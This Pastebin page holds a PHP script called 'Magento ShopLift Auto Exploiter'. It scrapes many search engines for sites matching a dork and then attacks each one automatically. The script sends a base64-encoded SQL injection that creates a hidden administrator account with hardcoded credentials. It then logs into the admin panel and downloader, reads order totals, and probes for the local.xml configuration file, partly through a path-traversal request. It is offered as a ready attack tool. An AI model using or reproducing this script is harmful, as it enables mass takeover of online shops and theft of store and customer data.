Guest User

auto

a guest
Oct 19th, 2016
423
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.75 KB | None | 0 0
  1. <?php
  2. /* ++++++++++++++++++++++++++++++++++
  3.     ShopLift Exploiter Beta Version
  4.         Author : FathurFreakz
  5.     Use : php thisfile.php "Dork"
  6.         YOGYAKARTA BLACK HAT
  7.         Special Thanks to
  8.       Nabiila Rizqi Khasanah
  9.    +++++++++++++++++++++++++++++++++
  10. */
  11. set_time_limit(0);
  12. class ShopLiftFathurFreakz {
  13.     private $dork = "";
  14.     private $username = "fangblackid";
  15.     private $password = "seksi123";
  16.    
  17.     public function Dork($dork){
  18.         $this->dork = $dork;
  19.         return $this->dork;
  20.     }
  21.    
  22.     private function CurlPost($url, $post = false){
  23.         $ch = curl_init();
  24. curl_setopt ($ch, CURLOPT_URL, $url2.$expage);
  25. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  26. curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  27. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  28. curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
  29. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  30. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  31. curl_setopt ($ch, CURLOPT_POST, 1);
  32.         if($post !== false){
  33.             $isi = '';
  34.             foreach($post as $key=>$value){
  35.                 $isi .= $key.'='.$value.'&';
  36.             }
  37.             rtrim($isi, '&');
  38.             curl_setopt($ch, CURLOPT_URL, $url);
  39.             curl_setopt($ch, CURLOPT_POST, count($isi));
  40.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  41.             curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  42.         }
  43.         $data = curl_exec($ch);
  44.         curl_close($ch);
  45.         return $data;
  46.     }
  47.    
  48.     private function GetStr($start,$end,$string){
  49.         $a = explode($start,$string);
  50.         $b = explode($end,$a[1]);
  51.         return $b[0];
  52.     }
  53.    
  54.     private function LoginDownloader($url){
  55.         $link = parse_url($url);
  56.         $data = $this->CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
  57.                     array("username" => $this->username,
  58.                           "password" => $this->password)
  59.                     );
  60.         if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  61.             $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  62.             return "Success\nPermission\t\t: ".$permission;
  63.         } else {
  64.             return "Failed";
  65.         }
  66.     }
  67.        
  68.     private function LoginAdmin($target){
  69.         $link = parse_url($target);
  70.         $get = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]));
  71.         $key = $this->GetStr("<input name=\"form_key\" type=\"hidden\" value=\"","\" />",$get);
  72.         $data = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]),
  73.                     array("login[username]" => $this->username,
  74.                           "login[password]" => $this->password,
  75.                           "form_key" => $key)
  76.                 );
  77.         if($this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]))){
  78.             return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data)."\nInstaled\t\t:".$this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]));
  79.         } else {
  80.             return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data);
  81.         }
  82.     }
  83.    
  84.     private function ShopLiftExploit($target){
  85.         $email = substr(md5(time()),2,15);
  86.         $link = parse_url($target);
  87.         $data = $this->CurlPost(sprintf("%s://%s/admin/Cms_Wysiwyg/directive/index/",$link["scheme"],$link["host"]),
  88.                     array("filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT =  'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{$this->password}') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','{$email}@telekpitekwashere.cok','{$this->username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{$this->username}'),'Firstname');"),
  89.                     "___directive"  => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  90.                     "forwarded"     => "1")
  91.                 );    
  92.         return (@imagecreatefromstring($data) !== false);
  93.     }
  94.    
  95.     private function ExecuteExploit($victim){
  96.         $file = fopen("ShopLift-".date("d-m-Y").".log","a");
  97.         $url = parse_url($victim);
  98.         $target = (!isset($url["scheme"]) ? "http://".$victim : $url["scheme"]."://".$url["host"]);
  99.         if($this->ShopLiftExploit($target)){
  100.             $downloader = $this->LoginDownloader($target);
  101.             $admin = $this->LoginAdmin($target);
  102.             $result = "\n============[ShopLift Result]============\nSite\t\t\t: {$target}\nLogin Admin\t\t: {$admin}\nLogin Downloader\t: {$downloader}\n===========================================\n";
  103.             fwrite($file,$result);
  104.             return $result;
  105.         } else {
  106.             return "[".date("H:i:s")."] ".$target." => Not vuln !\n";
  107.         }
  108.         fclose($file);
  109.     }
  110.    
  111.     private function LocalFileDiscloure($target){
  112.         $path = array(  "/app/etc/local.xml",
  113.                         "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  114.                     );
  115.         for($i=0;$i<=count($path);$i++){
  116.             $test = $this->CurlPost($target.$path[$i]);
  117.             if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
  118.                 return $this->GetStr("<date><![CDATA[","]]></date>",$test);
  119.             } else {
  120.                 return false;
  121.             }
  122.         }
  123.     }
  124.    
  125.     public function SearchEngine($engine){
  126.         $list = array();
  127.         $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  128.         $ccgoogle = array("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  129.         $ccask = array("au","uk","ca","de","it","fr","es","ru","nl","pl","at","se","dk","no","br","mx","jp");
  130.         $ccyahoo = array("au","ru","at","pl","il","tr","ua","gr","jp","cn","my","id","th","in","kr","tw","ro","za","pt","ca","uk","de","fr","es","it","hk","mx","br","ar","nl","dk","ph","cl","ru","co","fi","ve","nz","pe");
  131.         switch($engine){
  132.             case 1:
  133.                 for($i=0;$i<=1000;$i+=10){
  134.                     $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  135.                     preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  136.                     foreach($m[1] as $link){
  137.                         if(!preg_match("/live|msn|bing|microsoft/",$link)){
  138.                             if(!in_array($link,$list)){
  139.                                 $list[] = $link;
  140.                             }
  141.                         }
  142.                     }
  143.                     echo "[".date("H:i:s")."] Catch Bing (".count(array_unique($m[1])).")\n";
  144.                 }
  145.                 echo "[".date("H:i:s")."] Total Bing : ".count($list)."\n";
  146.             break;
  147.             case 2:
  148.                 for($x=0;$x<=count($ccbing)-1;$x++){
  149.                     for($i=0;$i<=1000;$i+=10){
  150.                         $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  151.                         preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  152.                         foreach($m[1] as $link){
  153.                             if(!preg_match("/live|msn|bing|microsoft/",$link)){
  154.                                 if(!in_array($link,$list)){
  155.                                     $list[] = $link;
  156.                                 }
  157.                             }
  158.                         }
  159.                         echo "[".date("H:i:s")."] Catch Bing.".$ccbing[$x]." (".count(array_unique($m[1])).")\n";
  160.                     }
  161.                 }
  162.                 echo "[".date("H:i:s")."] Total Bing World : ".count($list)."\n";
  163.             break;
  164.             case 3:
  165.                 for($x=0;$x<=count($ccgoogle)-1;$x++){
  166.                     for($i=0;$i<=200;$i+=10){
  167.                         $search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=".urlencode($this->dork)."&start=".$i."&sa=N");
  168.                         preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
  169.                         foreach($m[1] as $link){
  170.                             if(!preg_match("/google/",$link)){
  171.                                 if(!in_array($link,$list)){
  172.                                     $list[] = $link;
  173.                                 }
  174.                             }
  175.                         }
  176.                         echo "[".date("H:i:s")."] Catch Google.".$ccgoogle[$x]." (".count(array_unique($m[1])).")\n";
  177.                     }
  178.                 }
  179.                 echo "[".date("H:i:s")."] Total Google World : ".count($list)."\n";
  180.             break;
  181.             case 4:
  182.                 for($x=0;$x<=count($ccask)-1;$x++){
  183.                     for($i=1;$i<=1000;$i+=100){
  184.                         $search = $this->CurlPost("http://".$ccask[$x].".ask.com/web?q=".urlencode($this->dork)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  185.                         preg_match_all('/href=\"http:\/\/(.*?)\" onmousedown=/m', $search, $m);
  186.                         foreach($m[1] as $link){
  187.                             if(!preg_match("/ask\.com/",$link)){
  188.                                 if(!in_array($link,$list)){
  189.                                     $list[] = $link;
  190.                                 }
  191.                             }
  192.                         }
  193.                         echo "[".date("H:i:s")."] Catch Ask.".$ccask[$x]."(".count(array_unique($m[1])).")\n";
  194.                     }
  195.                 }
  196.                 echo "[".date("H:i:s")."] Total Ask World : ".count($list)."\n";
  197.             break;
  198.             case 5:
  199.                 for($i=1;$i<=100;$i+=1){
  200.                     $search = $this->CurlPost("http://search.walla.co.il/?q=".urlencode($this->dork)."&type=text&page=".$i);
  201.                     preg_match_all('/<a href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  202.                     foreach($m[1] as $link){
  203.                         if(!preg_match("/walla\.co\.il/",$link)){
  204.                             if(!in_array($link,$list)){
  205.                                 $list[] = $link;
  206.                             }
  207.                         }
  208.                     }
  209.                     echo "[".date("H:i:s")."] Catch Walla (".count(array_unique($m[1])).")\n";
  210.                 }
  211.                 echo "[".date("H:i:s")."] Total Walla : ".count($list)."\n";
  212.             break;
  213.             case 6:
  214.                 for($i=1;$i<=400;$i+=10){
  215.                     $search = $this->CurlPost("http://szukaj.onet.pl/".$i.",query.html?qt=".urlencode($this->dork));
  216.                     preg_match_all('/<a href=\"http:\/\/(.*?)\">/m', $search, $m);
  217.                     foreach($m[1] as $link){
  218.                         if(!preg_match("/onet|webcache|query/",$link)){
  219.                             if(!in_array($link,$list)){
  220.                                 $list[] = $link;
  221.                             }
  222.                         }
  223.                     }
  224.                     echo "[".date("H:i:s")."] Catch Onet (".count(array_unique($m[1])).")\n";
  225.                 }
  226.                 echo "[".date("H:i:s")."] Total Onet : ".count($list)."\n";
  227.             break;
  228.             case 7:
  229.                 for($i=1;$i<=50;$i+=1){
  230.                     $search = $this->CurlPost("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$i."&q=".urlencode($this->dork)."&st=local");
  231.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  232.                     foreach($m[1] as $link){
  233.                         if(!preg_match("/\.sapo\.pt/",$link)){
  234.                             if(!in_array($link,$list)){
  235.                                 $list[] = $link;
  236.                             }
  237.                         }
  238.                     }
  239.                     echo "[".date("H:i:s")."] Catch Sapo (".count(array_unique($m[1])).")\n";
  240.                 }
  241.                 echo "[".date("H:i:s")."] Total Sapo : ".count($list)."\n";
  242.             break;
  243.             case 8:
  244.                 for($i=1;$i<=50;$i+=1){
  245.                     $search = $this->CurlPost("http://search.lycos.com/web?q=".urlencode($this->dork)."&pn=".$i);
  246.                     preg_match_all('/title=\"http:\/\/(.*?)\"/m', $search, $m);
  247.                     foreach($m[1] as $link){
  248.                         if(!preg_match("/lycos/",$link)){
  249.                             if(!in_array($link,$list)){
  250.                                 $list[] = $link;
  251.                             }
  252.                         }
  253.                     }
  254.                     echo "[".date("H:i:s")."] Catch Lycos (".count(array_unique($m[1])).")\n";
  255.                 }
  256.                 echo "[".date("H:i:s")."] Total Lycos : ".count($list)."\n";
  257.             break;
  258.             case 9:
  259.                 for($i=1;$i<=1000;$i+=10){
  260.                     $search = $this->CurlPost("http://busca.uol.com.br/web/?ref=homeuol&q=".urlencode($this->dork)."&start=".$i);
  261.                     preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  262.                     foreach($m[1] as $link){
  263.                         if(!preg_match("/uol\.com\.br|\/web/i",$link)){
  264.                             if(!in_array($link,$list)){
  265.                                 $list[] = $link;
  266.                             }
  267.                         }
  268.                     }
  269.                     echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  270.                 }
  271.                 echo "[".date("H:i:s")."] Total Uol : ".count($list)."\n";
  272.             break;
  273.             case 10:
  274.                 for($i=1;$i<=300;$i+=20){
  275.                     $search = $this->CurlPost("http://search.seznam.cz/?q=".urlencode($this->dork)."&count=20&from=".$i);
  276.                     preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  277.                     foreach($m[1] as $link){
  278.                         if(!preg_match("/seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i",$link)){
  279.                             if(!in_array($link,$list)){
  280.                                 $list[] = $link;
  281.                             }
  282.                         }
  283.                     }
  284.                     echo "[".date("H:i:s")."] Catch Seznam (".count(array_unique($m[1])).")\n";
  285.                 }
  286.                 echo "[".date("H:i:s")."] Total Seznam : ".count($list)."\n";
  287.             break;
  288.             case 11:
  289.                 for($i=1;$i<=50;$i+=1){
  290.                     $search = $this->CurlPost("http://www.hotbot.com/search/web?pn=".$i."&q=".urlencode($this->dork));
  291.                     preg_match_all('/href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  292.                     foreach($m[1] as $link){
  293.                         if(!preg_match("/hotbot\.com/",$link)){
  294.                             if(!in_array($link,$list)){
  295.                                 $list[] = $link;
  296.                             }
  297.                         }
  298.                     }
  299.                     echo "[".date("H:i:s")."] Catch Hotbot (".count(array_unique($m[1])).")\n";
  300.                 }
  301.                 echo "[".date("H:i:s")."] Total Hotbot : ".count($list)."\n";
  302.             break;
  303.             case 12:
  304.                 for($i=1;$i<=300;$i+=10){
  305.                     $search = $this->CurlPost("http://search.aol.com/aol/search?q=".urlencode($this->dork)."&page=".$i);
  306.                     preg_match_all('/href=\"http:\/\/(.*?)\"/m', $search, $m);
  307.                     foreach($m[1] as $link){
  308.                         if(!preg_match("/aol\.com/",$link)){
  309.                             if(!in_array($link,$list)){
  310.                                 $list[] = $link;
  311.                             }
  312.                         }
  313.                     }
  314.                     echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  315.                 }
  316.                 echo "[".date("H:i:s")."] Total Aol : ".count($list)."\n";
  317.             break;
  318.             case 13:
  319.                     for($i=1;$i<=1000;$i+=10){
  320.                     $search = $this->CurlPost("http://search.yahoo.com/search?p=".urlencode($this->dork)."&b=".$i);
  321.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  322.                     foreach($m[1] as $link){
  323.                         if(!preg_match("/yahoo/",$link)){
  324.                             if(!in_array($link,$list)){
  325.                                 $list[] = $link;
  326.                             }
  327.                         }
  328.                     }
  329.                     echo "[".date("H:i:s")."] Catch Yahoo (".count(array_unique($m[1])).")\n";
  330.                 }
  331.                 echo "[".date("H:i:s")."] Total Yahoo : ".count($list)."\n";
  332.             break;
  333.             case 14:
  334.                 for($x=0;$x<=count($ccyahoo)-1;$x++){
  335.                     for($i=1;$i<=1000;$i+=100){
  336.                     $search = $this->CurlPost("http://".$ccyahoo[$x].".search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".urlencode($this->dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  337.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  338.                     foreach($m[1] as $link){
  339.                         if(!preg_match("/yahoo".$ccyahoo[$x]."/",$link)){
  340.                             if(!in_array($link,$list)){
  341.                                 $list[] = $link;
  342.                             }
  343.                         }
  344.                     }
  345.                     echo "[".date("H:i:s")."] Catch Yahoo.".$ccyahoo[$x]." (".count(array_unique($m[1])).")\n";
  346.                     }
  347.                 }
  348.                 echo "[".date("H:i:s")."] Total Yahoo World : ".count($list)."\n";
  349.             break;
  350.         }
  351.         if(count($list)>0){
  352.             echo "Exploiting target ".count($list).". Please wait ... \n";
  353.             foreach($list as $do){
  354.                 echo $this->ExecuteExploit($do);
  355.             }
  356.         }
  357.     }
  358.    
  359.     public function ExploitLogo(){
  360.         $logo = "==================================================\n";
  361.         $logo .= "#\t Magento ShopLift Auto Exploiter \t #\n";
  362.         $logo .= "#------------------------------------------------#\n";
  363.         $logo .= "#\t Author \t: FathurFreakz \t\t #\n";
  364.         $logo .= "#\t Email \t\t: fathurfreakz@gmail.com #\n";
  365.         $logo .= "#\t Thanks to \t: Nabiila Rizqi K \t #\n";
  366.         $logo .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"],'.php').".php \"Dork\" #\n";
  367.         $logo .= "#------------------------------------------------#\n";
  368.         $logo .= "#\t (C) ".date("Y")." YOGYAKARTA BLACK HAT \t\t #\n";
  369.         $logo .= "==================================================\n";
  370.         echo $logo;
  371.     }
  372. }
  373. $Exploiter = new ShopLiftFathurFreakz();
  374. if(isset($argv[1]) && !empty($argv[1])){
  375.     if($argv[1]=="-l" && !empty($argv[2])){
  376.         $file = file_get_contents($argv[2]);
  377.         $list = explode("\n",$file);
  378.         if(isset($list)){
  379.             echo "Starting engine ....\n";
  380.             flush();
  381.             sleep(2);
  382.             echo "[".date("H:i:s")."] Scanning ".count($list)." dorks. Please wait ... \n";
  383.             foreach($list as $dork){
  384.                 echo "[".date("H:i:s")."] Scanning target for dork : {$dork}\n";
  385.                 $Exploiter->Dork($dork);
  386.                 for($i=0;$i<15;$i++){
  387.                     $Exploiter->SearchEngine($i);
  388.                     flush();
  389.                     sleep(1);
  390.                 }
  391.             }
  392.         }
  393.     } else {
  394.         echo "Starting engine ....\n";
  395.         flush();
  396.         sleep(2);
  397.         echo "[".date("H:i:s")."] Scanning target for dork : {$argv[1]}\n";
  398.         $Exploiter->Dork($argv[1]);
  399.         for($i=0;$i<15;$i++){
  400.             $Exploiter->SearchEngine($i);
  401.             flush();
  402.             sleep(1);
  403.         }
  404.     }
  405.     echo "Scan finished !!!\n";
  406.     flush();
  407.     sleep(1);
  408.     echo "Shuting down engine !!!\n";
  409. } else {
  410.     $Exploiter->ExploitLogo();
  411. }
Add Comment
Please, Sign In to add comment